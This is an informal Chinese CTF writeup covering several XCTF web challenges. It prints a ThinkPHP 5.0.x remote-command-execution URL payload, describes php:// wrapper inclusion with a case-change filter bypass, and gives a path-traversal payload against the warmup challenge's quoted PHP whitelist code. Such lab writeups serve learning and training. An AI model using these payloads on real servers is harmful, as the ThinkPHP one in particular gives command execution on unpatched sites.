攻防世界 web進階區 writeup

php_rce

參考鏈接1
參考鏈接2
根據提示看應該是tp5的遠程命令/代碼執行漏洞
然後網上搜下payload。
emmm分析我是看不懂的。
(實際上我試了好多payload。。。還有post??有的可以執行有的不能,菜刀還連不上,我也很迷)

5.0.x版的poc

命令執行:

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=操作系統命令 (如 dir whoami)

通過這行代碼先找flag再cat即可

注意它會顯示兩遍,所以不是/flag/flag

Web_php_include

打開就是源碼
在這裏插入圖片描述
啊,可以看到這個一直對php://進行過濾,那麼什麼是php://呢
參考鏈接:PHP漏洞全解————10、PHP文件包含漏洞,是一個僞協議
在這裏插入圖片描述
除此外還有php://filter

通過指定末尾的文件,可以讀取經base64加密後的文件源碼,之後再base64解碼一下就行。

phar://
zip://
data:URI schema
等等
漏洞條件詳見參考鏈接

求flag方法如下:(簡單地大小寫繞過一下)

在這裏插入圖片描述
在這裏插入圖片描述
得到flag

ics-06

。。。不想寫了,誰能想到是暴破呢

warmup

熱身,行吧
參考鏈接
進去就是一張大滑稽,源代碼提示source.php
代碼如下:

<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

打開hint.php提示flag在ffffllllaaaagggg中。

分析一下代碼
需要使用傳參

source.php?file=source.php?(payload)
或者
source.php?file=hint.php?(payload)

又或者利用urldecoder進行雙重解碼即

source.php?file=source.php%253f
source.php?file=hint.php%253f

啊我研究了半天怎麼能利用urldecoder繞過的問題,後來一搜writeup才知道不需要。。。直接用/…/即可

payload:
source.php(或hint.php)?/…/…/…/…/…/…/ffffllllaaaagggg

可以多套幾層…/
原因如下
在這裏插入圖片描述

待續。。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章